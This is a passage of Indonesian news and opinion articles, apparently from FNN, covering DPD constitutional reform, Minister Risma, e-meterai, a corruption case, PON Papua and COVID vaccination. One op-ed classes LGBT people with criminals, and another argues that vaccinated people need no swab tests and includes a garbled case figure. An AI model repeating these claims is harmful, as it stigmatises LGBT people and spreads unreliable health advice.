sanalah kepentingan daerah diperjuangkan agar terakomodir dalam setiap pengambilan keputusan dan kebijakan nasional. Namun, di sana pula relasi ketatangeraan kita terlihat pincang. Sebagai lembaga legislatif, DPD wajib mengembang optimalisasi check and balances, di samping menjalankan fungsi-fungsi legislasi. Namun, sulit mengoptimalkan mekanisme check and balances ini dalam situasi kewenangan yang tidak sebanding dengan kewenangan lembaga tinggi negara lainnya. Untuk membenahinya, tak ada jalan lain kecuali berpulang kepada perubahan konstitusi. Kita tahu, konstitusi bukan kitab suci yang final dan mengikat. Terbuka peluang mengoreksinya demi perbaikan bangsa ke depan. Untuk kepentingan itu, kelompok DPD di MPR tengah menfinalisasi usul perubahan kelima UUD 1945. Sejumlah gagasan yang mengedepan, muncul sebagai respon DPD atas kebutuhan kontitusional negara yang semakin kompleks, selain menjawab tuntutan masyarakat daerah yang ingin DPD diperkuat. Kelompok DPD berpendapat, amandemen UUD 1945 sebaiknya komprehensif, tidak parsial. Kelompok DPD menyadari persis kelemahan DPD. Namun, perbaikan konstitusi harus memotret kelemahan-kelemahan konstitusionalitas kita secara luas. Setidaknya ada empat hal yang akan diusulkan. Pertama, revitalisasi Pokok-Pokok Haluan Negara (PPHN). Pasca empat kali amandemen, Garis-Garis Besar Haluan Negara (GBHN) ditiadakan. Peniadaan tersebut mengakibatkan pelaksanaan pembangunan tidak lagi sepenuhnya dalam koridor arah dan visi besar bangsa. UU Sistem Perencanaan Pembangunan Nasional yang disahkan guna mengatasi bolong itu, nyatanya tidak mampu mengintegrasi pembangunan secara nasional. Pembangunan yang dilakukan lebih dominan ditentukan oleh visi dan misi presiden yang, sayangnya, seringkali politis. Kedua, penataan kewenangan MPR. Gagasan ini bukan ide baru karena telah muncul dalam rekomendasi MPR 2014 – 2019. Namun, saat ini penguatan kewenangan MPR menemukan momentum paling tepat sebagai konsekuensi usulan PPHN di atas. Bila kita bersepakat mengatur PPHN dalam UUD 1945, tentu konsekuensi logisnya harus ada lembaga negara yang berwenang menyusun dan menetapkan PPHN. Di sinilah urgensi penambahan kewenangan MPR, yakni menetapkan haluan negara yang akan menjadi pedoman pembangunan bagi penyelenggara negara dalam merencanakan dan merealisasikan pembangunan. Ketiga, penataan kewenangan DPD. Sebagai anak kandung reformasi, DPD lahir dari komitmen kita membangun demokrasi yang lebih baik, meninggalkan sentralisme pembangunan menuju desentralisme. Sebagai kanal aspirasi daerah, DPD diharapkan berperan optimal memperjuangkan kepentingan daerah. Selama ini DPD berusaha bekerja sebaik mungkin di tengah belenggu kewenangan yang terbatas. Bila kewenangan ini dikuatkan secara proporsional, upaya-upaya konstitusionalitas DPD dipastikan akan lebih baik. Lagi pula, kewenangan yang berimbang dengan kedudukan dan fungsi DPD adalah hak konstitusional DPD yang semestinya tidak dikebiri oleh konstitusi. Penguatan fungsi dan kewenangan DPD semakin menemukan urgensinya bila dikaitkan dengan gagasan PPHN. Sebagai anggota MPR, kedudukan DPD setara dengan DPR. Namun fungsi dan kewenangannya yang tidak berimbang dapat mereduksi dialektika politik yang sehat antara DPR dengan DPD. Oleh karena itu, revitalisasi PPHN harus disertai penguatan kewenangan DPD, agar check and balances menjadi kuat dalam perumusan, perencanaan, dan implementasi PPHN. Juga agar kepentingan daerah dapat diperjuangkan untuk sebesar-besarnya diakomodir dalam PPHN. Keempat, calon presiden dan wakil presiden perseorangan. Selama ini pengusung calon presiden dan wakil presiden mutlak melalui partai politik. Tidak tersedia mekanisme atau saluran politik lain bagi anak bangsa yang memiliki potensi namun tertolak oleh partai politik. Kita tahu, musabab penolakan itu bisa bermacam-macam. Ya politik, pragmatisme, dan lain-lain. Situasi itu jelas mencedarai demokrasi, memancung prinsip dasar perwujudan hak politik rakyat dan asas kedaulatan rakyat. Presiden perseorangan adalah upaya DPD membuka keran seluas-luasnya bagi partisipasi politik rakyat untuk berkompetisi dan berkontribusi bagi kemajuan bangsa. Memang, yang harus dirumuskan kemudian adalah syarat calon presiden independen. Bobot, kualifikasi, dan prosedurnya harus sebanding dengan syarat calon presiden yang diusung parpol. Misalnya saja, bila calon presiden partai atau gabungan partai otomatis telah mendapat rekomendasi dan jaminan parpol, maka untuk sebanding dengan syarat ini, calon presiden independen harus melalui fit and proper test. Soal-soal teknis seperti ini bisa diatur di tingkat UU di kemudian hari. Empat substansi usul perubahan konstitusi tersebut adalah yang berkembang di DPD hingga saat ini. Keseluruhannya adalah materi muatan konstitusi karena terkait dengan penataan kelembagaan negara, baik wewenang maupun pengisian jabatan. Kelompok DPD sebagai bagian dari MPR, secara konstitusional memiliki wewenang mengajukannya, sebagaimana diatur dalam Pasal 37 UUD NRI 1945. Kini, yang menjadi pekerjaan rumah bagi Kelompok DPD adalah menggalang penambahan dukungan guna memenuhi syarat minimal pengajuan usul amandemen UUD 1945. Ini akan diperjuangkan demi persembahan kami untuk ulang tahun ke-17 DPD RI. Dirgahayu. Penulis adalah Ketua Kelompok DPD di MPR

Risma Marah-marah: Gagal Sebagai Komunikator Politik

Jakarta, FNN - Tanggapan pengamat komunikasi politik dari Universitas Nasional (Unas) Jakarta, Selamat Ginting, terhadap perilaku Menteri Sosial Tri Rismaharini di Gorontalo, Jumat (1/10). Ada beberapa point yang disoroti oleh dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas dan kandidat doktor ilmu politik dari Unas di Jakarta, Sabtu (2/10), ini. Menurutnya, proses komunikasi politik akan berjalan lancar karena peran faktor komunikator politik. Komunikator politik akan berjalan efektif apabila didukung oleh beberapa unsur yaitu penampilan dan sikap dari komunikator. "Penampilan komunikator baik secara verbal maunpun non verbal yang meliputi bicara, cara berpakaian, ekspresi verbal dan non verbal, kerapian, penggunaan kata dan bahasa sangat mempengaruhi proses komunikasi berlangsung," katanya. Bagaimana dengan penampilan Menteri Sosial Tri Rismaharini? Ginting mengatakan, Risma memiliki kelemahan tidak mampu mengelola konflik secara baik. Padahal, sebagai Menteri Sosial, ia adalah pejabat publik yang wajib memiliki kemampuan mengelola konflik sosial. "Dengan perilakunya yang tanpa kontrol, Risma bisa gagal menyampaikan pesan sebagai komunikator politik," lanjut Ginting. Sebagai menteri sosial, ia justru seperti orang yang anti-sosial. Kerap meledak-ledak tanpa kontrol sosial. Risma cenderung temperamental, sangat emosional di depan kamera. Padahal perilakunya dapat memicu konflik terbuka di depan publik. "Marah-marah di depan umum dan kerap tanpa kontrol menunjukkan Risma tidak memiliki manajemen komunikasi konflik secara baik. Ini yang membuat Risma terlihat belum matang secara politik, belum matang sebagai pemimpin publik," ungkap Ginting. Sebagai menteri sosial, lanjut Ginting, mestinya Risma lebih bijak dan mampu mengendalikan lingkungan sosial di mana ia berada. Marah boleh saja, tetapi harus diatur. "Bukan diumbar di depan umum," kritiknya. Ginting menambahkan, menteri sosial itu bukan seperti emak-emak di pasar. "Tidak boleh Risma secara histeris mengekpresikan kekecewaannya dengan marah-marah," tegasnya. "Kita harus beritahu dia, bukan malah memuji-mujinya, seolah perilakunya benar," ujar Ginting. Benar ketegasan sebagai pemimpin sangat penting. Tegas bukan berarti pemimpin yang emosional dan menimbulkan kontroversi yang menimbulkan konflik sosial. "Jangan lupa, Risma besar, karena media, baik media massa maupun media sosial. Namun Risma juga bisa terpuruk karena media akan memperlihatkan perilakunya sesuai fakta dan data di lapangan. Jadi, sebaiknya Risma segera introspeksi diri," tutur Ginting. (mth)

BNI Dukung Ditjen Pajak dan Peruri Luncurkan E-Meterai

Jakarta, FNN - BNI mendukung penggunaan meterai elektronik atau e-meterai atas dokumen elektronik yang telah diluncurkan Direktorat Jenderal Pajak Kementerian Keuangan (Kemenkeu) dan Peruri sebagai salah salah satu langkah mewujudkan transformasi digital. “Pengenaan meterai elektronik atas dokumen elektronik menjadi salah satu wujud nyata transformasi digital yang juga sedang dilakukan oleh BNI,” kata Direktur Bisnis UMKM BNI Muhammad Iqbal dalam keterangan resmi yang diterima di Jakarta, Sabtu. Iqbal mengatakan sebagai bank BUMN, BNI telah berkomitmen menggunakan meterai elektronik di lingkungan BNI Group untuk mendukung transaksi keuangan digital di Indonesia. Ke depannya, e-meterai akan diterapkan di berbagai transaksi elektronik masyarakat yang masuk dalam kategori transaksi yang dikenakan bea meterai. Penerapan e-meterai, lanjutnya, untuk memberikan kepastian hukum atas dokumen elektronik serta mengoptimalkan penerimaan negara dengan tarif bea meterai yang berlaku saat ini. Adapun meterai elektronik resmi diluncurkan pada Jumat (1/10) yang merupakan salah satu kegiatan dalam rangka implementasi dari Undang - Undang Nomor 10 Tahun 2020 beserta aturan pelaksanaannya kepada masyarakat luas. Peluncuran dilakukan secara hibrid di Gedung CBB Direktorat Jenderal Pajak. Menteri Keuangan (Menkeu) Sri Mulyani pada saat peluncuran meterai elektronik mengatakan transaksi di era digital harus disiapkan secara infrastruktur maupun instrumennya, baik dari sisi teknikal hingga aplikasi untuk mewujudkan penggunaan meterai elektronik. “Hari ini merupakan hari awal Direktorat Jenderal Pajak bersama Peruri yang ditunjuk secara sah untuk mengeluarkan e-materai. Kita mulai uji coba ini dengan perbankan, Bank BUMN dan perusahaan telekomunikasi Indonesia,” ujarnya. (mth)

Mewaspadai Komunis Dalam Menunggangi Kebhinnekaan

By M Rizal Fadillah KEBHINNEKAAN dalam arti keragaman itu adalah sunnatullah baik bersuku-suku, berbangsa-bangsa, bahasa, hingga agama dan ideologi. Keragaman yang ada di Negara Kesatuan Republik Indonesia sudah diterima dan tidak menjadi permasalahan. Komunis adalah salah satu faham atau ideologi yang mewarnai keragaman itu. Hanya saja penting untuk dicatat bahwa komunis merupakan faham atau ideologi sesat, merusak, dan membahayakan. Kategorinya adalah munkar dan kriminal yang harus dicegah dan ditindak sebagaimana kemungkaran lainnya seperti LGBT, korupsi, mencuri, atau membunuh. Tiga karakter Komunis yang bertentangan dengan nilai-nilai Agama dan juga Pancasila adalah pertama, menyembah berhala materi faham yang semata duniawi dan mempertuhankan benda. Kedua, nir-moral tidak berbasis nilai, bahkan menghalalkan segala cara. Ketiga gemar berkonflik karena akar filosofinya adalah dialektika, menciptakan masyarakat tanpa kelas melalui konflik antar kelas. Kebhinekaan dalam pandangan Komunis itu tidak berujung "tunggal Ika" tetapi memaksakan kehendak dan selalu ingin menguasai. Sebagai entitas politik, Komunis tidak pernah berkontribusi untuk mewujudkan tujuan Negara sebagaimana dalam pembukaan UUD 1945. Sejarah mencatat PKI selalu berontak dan menumpahkan darah baik pada tahun 1948, maupun tahun 1965. Bahkan sejak tahun 1926. Karena merusaknya faham Komunis ini maka organisasi PKI dan pengembangan faham Marxisme/Leninisme dan Komunisme menjadi terlarang (Tap MPRS No XXV/MPRS/1966). Bahkan terancam pidana untuk penyebarannya (UU No 27 tahun 1999). Terma kebhinekaan menjadi alasan aktivis PKI dan Komunis bersemangat untuk mencabut kedua aturan penting di atas. Menurutnya negara RI menjamin perbedaan dan melindungi HAM. Terjadi salah kaprah dalam memaknai HAM. Gerakan Komunis justru merupakan pelanggaran HAM. Mengepak sayap kebhinekaan tanpa kejelasan arah akan sangat berbahaya, apalagi mengepakkan sayap untuk melindungi Komunisme. Pertama, doktrin "revolusi mental" yang dikembangkan sebagai doktrin "cuci otak" untuk menjauhkan agama. Sejak Hegel, Marx, Chen Duxiu hingga Aidit. Mao Ze Dong mengkombinasikan dengan "revolusi kebudayaan". Kedua, mengepakkan sayap hingga jauh ke RRC dan bersahabat erat dengan negara hegemonik RRC yang bercita-cita membangun imperium baru di negara "jajahan" adalah keluru. Indonesia lupa pada sejarah kelam peran RRC dalam mendukung PKI. Ketiga, semburan fitnah dengan isu radikalisme, intoleran, anti kebhinekaan yang ditujukan kepada umat beragama khususnya umat Islam dilakukan untuk menutupi kejahatan dirinya. Membalikkan sejarah seolah PKI adalah korban. Perlu rekonsiliasi dan pengakuan eksistensi. Kini rakyat Indonesia khususnya umat Islam harus memiliki alertness dan awareness terhadap eskalasi komunisme dan bangkitnya PKI baru. Langkah umat dan masyarakat yang utama adalah mempertahankan Tap MPRS XXV/MPRS/1966 dan penegakkan UU No 27 tahun 1999, sosialisasi komunis sebagai hakekat dari ancaman tantangan hambatan dan gangguan dan (ATHG), serta waspada pada pola semburan fitnah umat yang dituduh radikal, intoleran dan anti kebhinekaan. Di atas semua itu gagalnya G 30 S PKI adalah karena "hands of God" kekuasaan Ilahi, padahal PKI telah mampu meneror rakyat dan menyusup di semua lini termasuk TNI dan Istana. Sejarah itu tidak boleh berulang. *) Pemerhati Politik dan Kebangsaan

Akhmad Najib Resmi Tahanan Rutan Pakjo Palembang

Palembang, FNN - Mantan Asisten I Bidang Pemerintahan dan Kesejahteraan Rakyat Pemerintah Provinsi Sumatera Selatan (Pemprov Sumsel) Akhmad Najib resmi menjadi tahanan di Rumah Tahanan (Rutan) Kelas IA Pakjo Palembang. Penahanan tersebut dilakukan karena yang bersangkutan telah ditetapkan sebagai tersangka dalam kasus dugaan tindak pidana korupsi dana hibah pembangunan Masjid Raya Sriwijaya Palembang oleh penyidik Kejaksaan Tinggi (Kejati) Sumsel. "Akhmad Najib resmi ditetapkan sebagai tersangka dan ditahan di Rutan Pakjo Palembang hingga 20 hari ke depan bersama dua tersangka lainnya," kata Kepala Seksi Penerangan Hukum Kejati Sumsel Khaidirman, Jumat malam. Menurutnya, setelah dilakukan diperiksa secara intensif selama delapan jam penyidik telah memenuhi semua alat bukti yang membenarkan keterlibatan tersangka dalam kasus tersebut. "Yang bersangkutan sudah cukup bukti hingga ditetapkan sebagai tersangka. Di antaranya seperti menandatangani NPHD (Naskah Perjanjian Hibah Daerah) tahun 2015 dan 2017," ujarnya. Pihaknya juga memastikan kondisi kesehatan tersangka yang sempat menurun setelah ditetapkan sebagai tersangka, dan saat ini sudah dipastikan oleh tim dokter Rumah Sakit Umum Pusat Mohammad Hoesin Palembang dalam kondisi baik. "Tim dokter sudah memastikan kondisi tersangka sehat," katanya pula. Sebelumnya, Akhmad Najib membenarkan ia menandatangani Naskah Perjanjian Hibah Daerah (NPHD). Hal tersebut disampaikannya saat memenuhi panggilan sebagai saksi dalam sidang lanjutan untuk terdakwa Mukti Sulaiman (mantan Sekretaris Daerah Sumsel) dan Ahmad Nasuhi (Mantan Plt Kepala Biro Hukum Setda Pemprov Sumsel), Kamis (30/9). Menurut Najib dalam persidangan itu, penandatanganan tersebut bermula saat ia menerima berkas NPHD dari terdakwa Ahmad Nasuhi sekitar November-September tahun 2015. Berkas tersebut berisikan lembar NPHD beserta nota dinas yang menerangkan bahwa berkas tersebut sudah diteliti dan dipelajari oleh terdakwa. "Ahmad Nasuhi berikan berkas NPHD tahun 2015 ke saya beserta nota dinas yang isinya berkas itu sudah diteliti dan dipelajari," kata dia, di hadapan majelis hakim dipimpin hakim ketua Abdul Aziz. Lantas, ia pun menandatangani berkas tersebut. Sebab, ia yakin kalau berkas itu sudah diteliti dan dipelajari sebelumnya oleh terdakwa. "Saya tanda tangani berkas itu," ujarnya. Selain itu, hal yang menguatkan alasannya untuk menandatangani NPHD itu berpegang dengan Peraturan Daerah (Perda) Nomor 13 Tahun 2014 tentang Pembangunan Masjid Raya Sriwijaya yang terbit pada 30 September 2014. Lalu adanya Surat Keputusan (SK) Gubernur Sumsel tentang penunjukan dirinya sebagai perwakilan pemerintah, dan juga sudah ada nominal alokasi berikut penerima dana hibah itu. Maka atas dasar itulah tidak ada alasan baginya untuk tidak menandatangani NPHD itu. "Dalam konteks ini, penerima sudah ada, anggaran ada, alokasi ada, SK Keputusan Gubernur menunjuk saya juga ada. Maka tidak ada alasan saya untuk tidak menandatanganinya," ujar dia. Dalam persidangan, penandatanganan berkas NPHD itu dilakukannya untuk mewakili Pemprov Sumsel selaku pihak pertama pemberi dana hibah (pihak pertama) kepada Yayasan Wakaf Masjid Sriwijaya (pihak kedua) selaku penerima hibah. "Dalam hal ini Ketua Yayasan Wakaf Masjid Sriwijaya yang menjabat di tahun 2015 juga menandatangani NPHD tersebut," ujarnya pula. Kedudukan NPHD itu penting sebab merupakan syarat administratif untuk pemberian dana hibah termin pertama senilai Rp50 miliar dari APBD tahun 2015. Sekaligus juga dijadikan dasar pencairan dana hibah senilai Rp80 miliar pada termin kedua dari APBD 2017 sehingga total dana hibah yang dicairkan Rp130 miliar dari Pemprov Sumsel. Namun pencairan dana hibah setelah penandatanganan NPDH itu diduga terjadi pembiasan sebagaimana atas keterangan saksi Ardani (mantan Plh Biro Hukum Setda Pemprov Sumsel) dan Agustinus Toni (mantan Kabid Anggaran Badan Pengelola Keuangan dan Aset Daerah Sumsel) yang juga hadir dalam sidang tersebut. Menurut Ardani, tidak ada pembahasan terkait dana hibah pembangunan Masjid Sriwijaya dalam Tim Anggaran Pemerintah Daerah (TAPD). Hal tersebut diyakinkannya, sebab kala itu dirinya juga sebagai anggota TAPD yang diketuai oleh terdakwa Mukti Sulaiman (mantan Sekretaris Daerah Pemprov Sumsel). “Seingat saya anggaran dana hibah itu tidak pernah dibahas atau dirapatkan oleh TAPD, tapi tetap dilakukan,” ujarnya yang senada dengan kesaksian Agustinus Toni. Bersamaan dengan Akhmad Najib, penyidik juga menetapkan Loka Sangganegara (Project Manager/Team Leader PT Indah Karya dalam pembangun Masjid Sriwijaya) dan Agustinus Toni (mantan Kepala Bagian Anggaran BPKAD Sumsel) sebagai tersangka. Dalam kasus tersebut, mereka diduga telah menimbulkan kerugian negara senilai Rp113 miliar, dari total Rp130 miliar uang hibah pembangunan Masjid Sriwijaya. Para tersangka dikenakan Pasal 2 juncto Pasal 18 UU Nomor 20 Tahun 2001 jo Pasal 55 KUHP dan subsider Pasal 3 jo Pasal 18 No. 20/2001 jo Pasal 55 ayat (1) ke-1 KUHP. (mth)

PON Papua - Judoka Rinus Kogoya Catat Sejarah Saat Raih Medali Perunggu

Mimika, FNN - Rinus Kogoya mencatatkan sejarah sebagai atlet asli Papua pertama yang meraih medali dari cabang olahraga judo pada perhelatan Pekan Olahraga Nasional (PON) XX Papua. Judoka asal Kabupaten Tolikara ini meraih medali perunggu dari kelas -100 kg putra setelah mengalahkan judoka asal Yogyakarta Muhammad Chandra di Graha Eme Neme Yauware, Mimika, Jumat. "Puji Tuhan, senang dengan raihan medali ini. Awalnya sebelum masuk arena sangat tegang, tapi pas sudah di atas matras tegangnya hilang, yang ada keinginan untuk menang," kata Rinus saat ditemui usai pertandingan. Judoka berusia 21 tahun ini mengalahkan Chandra dengan mencetak ippon dalam sisa waktu 3,35 menit. Sebelumnya, kontingen tuan rumah sudah mengantongi dua medali emas lewat Ilham Fadilah dan Desi Rahayu, namun keduanya merupakan atlet keturunan yang tinggal di Papua. Atas kesuksesan dalam debut PON, Rinos mengaku senang karena bisa membuktikan bahwa putra Papua bisa berprestasi di judo dan berharap banyak pemuda lokal yang mengikuti jejaknya. "Terima kasih kepada pengurus, pelatih dan keluarga yang sudah mendukung saya berjuang di PON. Ini baru pertama kali ikut PON dan bisa dapat medali," katanya menceritakan. Perasaan bangga juga disampaikan Ketua Harian Pengprov Persatuan Judo Seluruh Indonesia (PJSI) Papua Kombes Polisi Sondang R.D. Siagian yang ditemui setelah pertandingan. Sondang mengaku sempat terkejut karena Rinus bisa meraih medali dalam pesta olahraga bergengsi tingkat nasional pertamanya. "Prestasi yang diraih Rinus sangat membanggakan, kami benar-benar senang dengan kerja keras ini. Dia menjadi bukti bahwa putra Papua bisa berprestasi, sekaligus menjadi contoh positif bagi masyarakat Papua," ujar Sondang. Ke depan, ia berharap ada atlet asli Papua lain yang menyusul langkah Rinus Kogoya di cabang beladiri judo, bahkan bisa mewakili Indonesia di ajang internasional. (mth)

PON Papua: PON Dapat Tepis Anggapan Suram di Bumi Cenderawasih

Jayapura, FNN - Deputi V Kantor Staf Presiden (KSP) Jaleswari Pramodhawardani menyatakan Pekan Olahraga Nasional (PON) XX Papua dapat menepis anggapan suram yang beredar terkait konflik kekerasan di Bumi Cenderawasih. Padahal pada kenyataannya banyak hal baik lainnya seperti persaudaraan yang kuat hingga kesejahteraan masyarakatnya. Dengan adanya PON Papua, Jaleswari Pramodhawardani berharap masyarakat luas dapat mengenal lebih jauh provinsi paling timur di Tanah Air tersebut. "Kita bisa melihat itu di bangunan fisik arena-arena yang sudah dibangun," kata Jaleswari Pramodhawardani dalam konferensi pers di Media Center Klaster Kabupaten Jayapura di Grand Allison Sentani, Jumat. "Saya rasa ini adalah arena kelas dunia, kelas internasional dan kalau saya boleh bilang ini adalah pertandingan olahraga terbesar di Pasifik setelah Olimpiade Australia," dia menambahkan. PON Papua secara resmi akan dibuka oleh Presiden Joko Widodo pada Sabtu (2/10/2021). Meski begitu persaingan telah dimulai dalam beberapa hari yang lalu. Kapolda Papua Irjen Pol Mathius D. Fakhiri pun menjamin keamanan selama berlangsungnya pesta olahraga empat tahunan tersebut. Dia mengatakan Polda Papua telah menyiapkan kekuatan pengamanan sejumlah 9.371 personel di empat klaster dan daerah penyangga di Kabupaten Keerom. Rinciannya sebanyak 3.000-an di Kota dan Kabupaten Jayapura. Sedangkan di Kabupaten Merauke dan Mimika masing-masing sekitar seribu lebih personel. Jumlah tersebut belum ditambahkan dengan personel TNI dan lainnya. Mathius menyebut secara keseluruhan, pengamanan untuk PON Papua melibatkan sekitar 22 ribu personel. "Saya bersyukur sampai hari ini situasi secara keseluruhan di Papua sangat aman, nyaman, dan kondusif," kata Mathius. "Tentunya, kami yang mendapat amanat dari negara dan PB PON untuk pengamanan dan gelar pasukan tersebut demi terciptanya rasa aman, nyaman, dan damai selama berlangsungnya PON Papua," katanya. (mth)

Pemkab Muba Kembangkan Desa Sentra Peternakan Lele

Palembang, FNN - Pemerintah Kabupaten Musi Banyuasin mengembangkan desa sentra peternakan lele untuk mendorong masyarakat setempat tetap berdaya di tengah pandemi COVID-19. Asisten Pengembangan Perekonomian dan Pembangunan Sekretariat Daerah Kabupaten Musi Banyasin (Muba) Yusuf Amilin di Sekayu, Jumat, mengatakan, pemkab telah menunjuk Desa Persiapan Toman Baru di Kecamatan Babat Toman sebagai lokasi peternakan lele. “Sejauh ini, peternakan lele di desa itu terbilang cukup berhasil lantaran tingkat kematian saat panen sangat rendah, yakni hanya 7,6 persen,” kata dia. Untuk memastikan program peternakan lele ini terus berjalan, pemkab telah menunjuk Dewan Riset Daerah dan Bappeda untuk mengawalnya. Pemkab berharap peternakan lele yang dilakukan Kelompok Tani Mega Pro ini dapat mencetak peternak yang mandiri dan berkembang sehingga bisa menginspirasi warga di desa lain. Camat Babat Toman Alpan Husin menjelaskan, penebaran bibit lele tiga bulan lalu berjumlah 6.100 ekor. Adapun jumlah kematian lele umur 1 hari--15 hari sebanyak 450 ekor, umur 16 hari--90 hari hanya 30 ekor. Sejauh ini telah dipanen sebanyak 133 kg. Petani pun menjual lele tersebut senilai Rp19.000 per kg. "Pemasaran masih di dalam Desa Persiapan Toman Baru dengan harga lebih rendah dari harga pasar umum. Kami menilai perlu adanya penambahan kolam ikan dan sarana pemasaran,” kata dia. (mth)

Jika Sudah Divaksin Tidak Perlu Swab Lagi!

Oleh: Mochamad Toha Data hingga Sabtu, 28 Agustus 2021, jumlah warga Indonesia yang sudah divaksinasi COVID-19 dengan dosis lengkap (dua kali suntikan) sebanyak 34.702.821 orang. Jumlah tersebut setelah ada tambahan 581.618 orang divaksinasi pada Sabtu itu. Data Satuan Tugas Penanganan Covid-19 yang diterima ANTARA pada hari itu menyebut sebanyak 61.222.258 orang telah menjalani vaksinasi Covid-19 dosis pertama atau bertambah sebanyak 786.703 orang. Pemerintah Indonesia menargetkan sasaran vaksinasi Covid-19 sebanyak 208.265.720 orang. Meski telah mendapat vaksin Covid-19, masyarakat diminta untuk tetap disiplin melaksanakan protokol kesehatan untuk mencegah penularan dan penyebaran Covid-19. Prokes itu mencakup memakai masker, mencuci tangan dengan sabun dan air mengalir, menjaga jarak, menghindari kerumunan dan juga mengurangi mobilitas. Kasus positif Covid-19 di Indonesia bertambah 0.050 orang, sehingga total 4.066.404 orang sampai 28 Agustus 2021 lalu. Kasus sembuh Covid-19 mengalami penambahan 18.594 orang menjadi 3.707.850 orang. Sedangkan kasus meninggal akibat Covid-19 bertambah 591 orang menjadi 131.372 orang. Indonesia masuk peringkat keempat dunia dari jumlah orang yang divaksin Covid-19. Setidaknya, sudah 33 persen penduduk dunia divaksin Covid-19. Paling banyak adalah India yang memvaksin penduduknya. Setidaknya, data per 26 Agustus 2021 di India sudah ada 468 juta orang yang menerima vaksinasi Covid-19. Paling tidak sudah di sana sudah ada 136,2 juta warga yang sudah mendapatkan dosis lengkap Covid-19. Lalu, masih ada 331 juta yang baru dapat suntikan pertama berdasarkan data yang dihimpun Our World Data. Setelah India ada Amerika Serikat yang sudah ada 202,9 juta penduduk yang divaksin. Disusul dengan Brasil yang mampu memvaksin 132 juta orang penduduknya. Posisi Indonesia ada di peringkat empat dengan 59,4 juta penduduk sudah divaksin per data 26 Agustus 2021. Data ini tentu bersifat dinamis. Ini mengingat terus terjadi dinamika dalam penyuntikkan vaksin Covid-19. Menteri Kesehatan Budi Gunadi Sadikin memerkirakan vaksinasi Covid-19 tembus 300 juta suntikan dosis pertama akhir 2021. Hal ini diperhitungkan dari laju kecepatan vaksinasi seiring dengan semakin banyaknya pasokan vaksin yang tersedia. “Perkiraan kami di akhir tahun (2021), mungkin bisa mencapai di angka sekitar 300 jutaan suntikan (dosis 1),” ujar Budi pada saat rapat bersama anggota DPR RI pada Rabu, 25 Agustus 2021. Selanjutnya, “Bergerak di angka 400 juta, sesudah ditambah target anak-anak usia 12-17 tahun, yang mana kita bisa selesaikan sekitar Januari atau Februari 2022,” lanjut Menkes Budi. Program vaksinasi nasional sejak 13 Januari 2021 terus berjalan demi mengejar target 208 juta populasi Indonesia. Target dalam jangka dekat sudah ada 100 juta suntikan hingga akhir 2021. Menteri Keuangan Sri Mulyani Indrawati menyebut, total anggaran program vaksinasi yang meliputi pengadaan, perawatan, insentif tenaga kerja hingga testing dan tracing Covid-19 mencapai Rp 130,03 triliun. “Total anggaran vaksinasi dan perawatan serta testing tracing Covid-19 itu tahun 2021 ini adalah Rp130,03 triliun,” katanya dalam akun instagram pribadinya @smindrawati di Jakarta, seperti dilansir Antara, Rabu (31/03/ 2021 21:38 WIB). Sri Mulyani merinci anggaran Rp130,03 triliun itu meliputi pengadaan dan program vaksin Covid-19 Rp58,18 triliun, testing dan tracing Rp9,91 triliun, serta perawatan (therapeutic) dan insentif nakes Rp61,94 triliun. Untuk anggaran kesehatan pada 2022 fokus guna mendukung penanganan pandemi Covid-19, terutama mempercepat vaksinasi Covid-19. Anggaran kesehatan pada Rancangan APBN 2022 yaitu sebesar Rp255,3 triliun. Itu setara dengan 9,4 persen dari total belanja negara. “Hal ini jauh lebih tinggi dari amanat Undang-Undang sebesar 5 persen dari APBN,” kata Sri Mulyani dalam Rapat Paripurna DPR RI Ke-3 Masa Persidangan I Tahun Sidang 2021-2022 di Kompleks Parlemen, Senayan, Selasa (24/8/2021). Fokus anggaran itu, lanjutnya, untuk penanganan pandemi Covid-19 dalam bidang kesehatan yang biayanya diperkirakan mencapai Rp115,9 triliun pada tahun depan. Anggaran itu akan mendanai program vaksinasi, 3T (testing, tracing, dan treatment), klaim biaya perawatan pasien, obat-obatan, dan insentif tenaga kesehatan. Di antara alokasi itu, Sri Mulyani menyatakan bahwa vaksinasi Covid-19 menjadi fokus pemerintah melalui berbagai upaya akselerasi. Dia mengklaim bahwa per Juni 2021, target vaksinasi 1 juta dosis setiap hari telah tercapai. Hal itu diharapkan dapat berlanjut dan meningkat di 2022. Pemerintah telah meminta bantuan berbagai pihak seperti pemerintah daerah (pemda), TNI/Polri, dan BKKBN untuk mendukung percepatan vaksinasi menuju target kekebalan komunal. Yang menarik, mengapa meski sudah vaksin 2 kali, bagi warga yang akan bepergian selalu wajib tes swab Antigen atau PCR? “Jika sudah divaksin sebetulnya tidak perlu swab dan PCR lagi,” tegas Dr. dr. Hisnindarsyah, SE, MKes, MH, CFEM, dokter di salah satu rumah sakit di Tanjung Pinang. Mungkin itu hanya untuk meyakinkan, memang sedang tidak dalam fase infeksius saja saat dalam perjalanan karena antigen dan PCR hanya uñtuk mengetahui adanya virus atau sisa virus yang ada di dalam tubuh. Tujuannya, “Mungkin untuk meminimalisasi penularan pada lingkungan di sekitar. Ini hanya asumsi saya saja yang berusaha mengikuti cara berpikir mereka,” lanjut Dokter Hisnindarsyah. Selama ini, “Saya belum menemukan alasan ilmiahnya. Menurut saya itu terlalu berlebihan,” tegasnya. Pernahkah Anda membayangkan risiko tes swab hidung yang ternyata bisa menyebabkan cedera? Selama ini kita tidak pernah berpikir akan risikonya bila petugas yang melakukan tes swab dengan pelatihan minimal. Meski masih dianggap aman, tes usap hidung dan nasopharing (tes swab) bukannya tanpa risiko. Menurutnya, individu yang melakukan tes swab dengan pelatihan minimal, mempunyai risiko cedera yang jauh lebih tinggi daripada yang dilakukan oleh nakes terlatih. Apalagi jika tes swab ini dilakukan oleh orang awam, ini sangat beresiko. “Beberapa kasus telah menunjukkan kemungkinan cedera intrakranial ketika tes tidak dilakukan dengan tehnik dan prosedur yang benar,” ungkapnya. Komplikasi yang bisa timbul seperti mulai dari patahnya tangkai swab jika dilakukan oleh orang yang tidak profesional (biasanya oleh perorangan atau mandiri), terjadinya mimisan (epistaksis) atau perdarahan hidung karena cara yang tidak benar atau gangguan menelan. “Bahkan juga dapat beresiko terjadinya kebocoran dari cairan serebrospinal (CSF), ensefalokel, dan meningitis,” lanjut Dokter Hisnindarsyah. Penulis adalah Wartawan FNN.co.id

Akademisi: Ideologi Pancasila Harus Direkatkan ke Generasi Milenial

